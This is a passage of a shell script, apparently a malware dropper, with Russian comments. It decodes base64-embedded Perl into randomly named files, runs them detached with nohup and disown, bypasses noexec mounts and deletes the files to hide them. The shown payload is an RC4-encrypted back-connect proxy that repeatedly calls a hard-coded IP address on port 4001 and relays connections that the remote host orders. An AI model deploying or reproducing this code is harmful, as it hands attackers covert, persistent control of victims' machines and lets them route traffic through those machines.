oKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJIGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwoJCSAKCQkgJHBvY2tlbW9uMSArPSB2ZWMoJCRwYXNzdywgJHBvY2tlbW9uMiwgOCk7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpOwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KTsKCQkJIAoJCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkJICRwb2NrZW1vbjggPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KSA9ICRwb2NrZW1vbjg7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KSA9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwoJCgkJCSAkcG9ja2Vtb244ID0gJHBvY2tlbW9uOCAmIDI1NTsKCQkJIAoJCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjgsIDgpIF4gdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15ICRkb21haW47CgkgCgkgbXkgJHBvcnQwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkgbXkgQHNvY2tldGFycmF5OwoJIAoJIG15ICRidWZmZXIgPSAiXHgwMCIgeCAxMDA7CgkgCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJIAoJIG15ICRidWZmZXIwID0gIlx4MDAiIHggNjU1MzY7CgkgCgkgbXkgJGJ1ZmZlcjEgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkX3JldDAgPSAwOwoJIAoJIG15ICRlY3ggPSAwOwoJIAoJIG15ICRlYXggPSAwOwoJIAoJIG15ICRkYXRhID0gMDsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJIAoJIHNvY2tldCgkc29ja2V0YXJyWzBdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKICAgICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgNjU1MzYpOwoJIAoJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJceEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiR09PRFBFUkwiOwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbJGldLCAkYnVmZmVyMSwgNjU1MzAsIDMpOwoJCQkJIAoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7CgkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRpXSA9IDA7CgkJCQkJIAoJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskaV0pOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRpOwoJCSAKCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCQkgCgkJCQkJCSB2ZWMoJGJ1ZmZlcjEsIDAsIDgpID0gJGk7CgkJCQkJCSAKCQkJCQkJIHZlYygkc3RyX3dlYywgMCwgMTYpID0gJGRhdGE7CgkJCQkJCSAKCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJzdHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkJCQkgCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vic3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMCwgMyk7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMywgJGRhdGEpOwoJCQkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOwoJCQkgCgkJCSBuZXh0IGlmICgkcmV0IDwgMCk7CgkJCSAKCQkJIGlmICgkcmV0ID09IDApIHsKCQkJCSAKCQkJCSAkY291bnRlcisrOwoJCQkJIAoJCQkJIGlmICgkY291bnRlciA9PSAxMDAgKiA2MCkgewoJCQkJCSAKCQkJCQkgJGNvdW50ZXIgPSAwOwoKCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKCQkJCSAKCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCkpOwoJCQkJIH0KCQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJCQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZlcjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJCQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAkZWJ4ID4gMCAmJiAkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJCSAKCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgkJCQkJIAoJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJIAoJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsKCQkJCQoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJIAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgNCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAwKSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgJF9yZXQwID0gMDsKCQkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCQkJCQkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMTMpID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCA2NTUzNik7CgkJCQkJCSAKCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIHwgT19OT05CTE9DSyk7CgkJCQkJCSAKCQkJCQkJIGlmICh2ZWMoJGJ1ZmZlcjAsIDcsIDgpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKCRidWZmZXIwLCA4LCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoJGJ1ZmZlcjAsIDgsIDgpICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgOSArIHZlYygkYnVmZmVyMCwgOCwgOCkgKyAxLCAxKTsKCQkJCQkJCgkJCQkJCQkgJHBvcnQwID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzaWYgKHZlYygkYnVmZmVyMCwgNywgOCkgPT0gMSkgewoJCQkKCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoJGJ1ZmZlcjAsIDggKyAwLCA4KSwgdmVjKCRidWZmZXIwLCA4ICsgMSwgOCksIHZlYygkYnVmZmVyMCwgOCArIDIsIDgpLCB2ZWMoJGJ1ZmZlcjAsIDggKyAzLCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKTsKCQkJCQkJCSAKCQkJCQkJCSAkcG9ydDAgPSAgdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzZSB7CgkJCQoJCQkJCQkJIGdvdG8gY2xvc2VfOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBldmFsIHsKCQkJIAoJCQkJCQkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0MCwgaW5ldF9hdG9uKCRkb21haW4pKTsKCQkKCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7CgkJIAoJCQkJCQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAxOwoKCQkJCQkJCSB1bmxlc3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEpKSB7IGdvdG8gY2xvc2VfOyB9CgkJCQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CgkJIAoJCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDQsIDEpID0gIlx4MDAiOwoJCSAKCQkJCQkJCSAkX3JldDAgPSAxOwoJCQkgCgkJCQkJCSB9OwoJCSAKCQkJCQkJIGNsb3NlXzoKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSk7CgkJCQkJCSAKCQkJCQkJIGlmICgkX3JldDAgPT0gMCkgewoJCQkJCQkJIAoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJIAoJCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoJCQkJCQkJIAoJCQkJCQkJIHZlYygkcmVzcG9uY2UsIDAsIDgpID0gJGVieDsKCQkJCQkJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCAzLCAwKTsKCQkJCQkJCSAKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzaWYgKCRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwLCAkcmVtYWluaW5nLCA0KTsKCQkJCQkJIAoJCQkJCQkgCgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkgCgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHZlYygkYnVmZmVyMCwgMSwgOCk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMiwgMSk7CgkJCQkgCgkJCQkgJGVkeCA9IHZlYygkc3RyX3dlYywgMCwgMTYpOwoJCQkgCgkJCQkgJF9yZXQgPSAxOwoJCQl9CgkJCQoJCX0KCX0KCQoJIGNsb3NlMDoKCSAKCSBjbG9zZSgkc29ja2V0YXJyWzBdKTsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsKCgkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CgkJIAoJIH0KCSAKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCSAKCSByZXR1cm4gJF9yZXQ7Cgp9Cgp3aGlsZSgxKQp7CgkgYmNjbmN0KFwkaG9zdCwgXCRwb3J0KTsKCSAKCSBzbGVlcCAxODA7Cn0K B64_END if [ -s "$fpath" ]; then # Подготовка прав chmod 755 "$fpath" sync # === ЗАПУСК === if [ "$method" == "native" ]; then # МЕТОД 1: NATIVE (./script) - самый быстрый и "правильный" # Патчим путь к перлу в первой строке файла sed -i "1s|^#!.*|#!$perl_bin|" "$fpath" # Запускаем: nohup, фон, подавление вывода nohup "$fpath" >/dev/null 2>&1 & disown # Полная отвязка от шелла else # МЕТОД 2: INTERPRETER (perl script) - обходит noexec # Запускаем интерпретатор явно nohup "$perl_bin" "$fpath" >/dev/null 2>&1 & disown # Полная отвязка от шелла fi # === САМОУНИЧТОЖЕНИЕ ФАЙЛА === # Запускаем отдельный процесс, который поспит и удалит файл (sleep 10; rm -f "$fpath") >/dev/null 2>&1 & disown fi } f_a39f3484() { local use_gold=$1 local idx=$2 local perl_bin="$3" local workdir="" local method="" # Выбираем папку из нужного списка if [ "$use_gold" = "true" ]; then workdir="${gold_dirs[$idx]}" method="native" else workdir="${silver_dirs[$idx]}" method="interpreter" fi # Защита от пустых путей if [ -z "$workdir" ]; then return; fi local rname="$(gen_rand_name).pl" local fpath="$workdir/$rname" # Распаковка Base64 base64 -d <<'B64_END' > "$fpath" IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNTMnOwpteSAkcG9ydCA9IDQwMDE7CgpteSAkeG9yZGF0YSA9ICJceDAwIiB4IDUwOwoKZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQoKc3ViIFJjNF9jcnlwdCB7CgkgCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7CgkgCgkgbXkgJGJ1ZmYwID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzdGFydCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3ogPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKCSAKCSBteSAkcG9ja2Vtb24wID0gMDsKCQoJIG15ICRwb2NrZW1vbjEgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMiA9IDA7CgkKCSBteSAkcG9ja2Vtb24zID0gMDsKCQoJIG15ICRwb2NrZW1vbjQgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRyc2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7CgkgCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJIGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwoJCSAKCQkgJHBvY2tlbW9uMSArPSB2ZWMoJCRwYXNzdywgJHBvY2tlbW9uMiwgOCk7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpOwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KTsKCQkJIAoJCQkgJHBvY2tlbW9u